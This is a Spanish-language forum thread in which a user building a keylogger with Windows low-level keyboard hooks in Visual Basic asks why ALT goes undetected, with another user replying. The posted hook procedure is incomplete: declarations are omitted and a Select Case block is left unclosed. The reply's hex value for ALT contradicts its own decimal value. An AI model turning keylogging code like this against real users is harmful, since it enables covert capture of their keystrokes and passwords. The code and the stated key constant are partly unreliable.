Detectar tecla ALT

Iniciado por NYlOn, 6 Octubre 2005, 22:48 PM

0 Miembros y 1 Visitante están viendo este tema.

NYlOn

Hola a todos... Bueno mi problema es el siguiente:
Estoy haciando un keylogger mediante Hooks, el problema es que me detecta TODAS las letras menos la tecla ALT...
Ya intente probar con la constante VK_ALT pero no funciona :S
Me fije en el API-Viewer y no hay ninguna otra tecla que se le parezca xD

El metodo que uso para obtener una tecla es el siguiente (salteandome las declaraciones)

Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
On Error Resume Next

Dim xpInfo As KBDLLHOOKSTRUCT

    If nCode = HC_ACTION Then
        CopyMemory xpInfo, lParam, Len(xpInfo)

            Num = xpInfo.vkCode 'Obtener el numero de la tecla presionada
                 
                 
            If xpInfo.flags = 1 Then
                Select Case xpInfo.vkCode
                    Case VK_DELETE
                        Letra = " [DELETE] "
                    Case Else
                        Letra = ""
                Form1.Text1.Text = Form1.Text1.Text & Letra
            End If

    Else
        LowLevelKeyboardProc = CallNextHookEx(KeyBoardHook, nCode, wParam, lParam)
    End If

End Function


Si alguien me puede ayudar estaria muy agradecido...

Un salud0s

G0nz4

xavierote

¿Tienes declarada la constante VK_ALT? De todas formas creo que la tecla alt tiene como valor 18; o &H11 en valor hexadecimal.
¿Estás utilizando un módulo de clase o una libreria externa para obtener los valores? Lo digo porque con el código que has puesto no se puede solucionar tu problema.

¡¡Saludos!!

NYlOn

#2
Estoy usand0 un modulo... y si, declare la constante del ALT pero tmb funciona :S

no c como hacer :S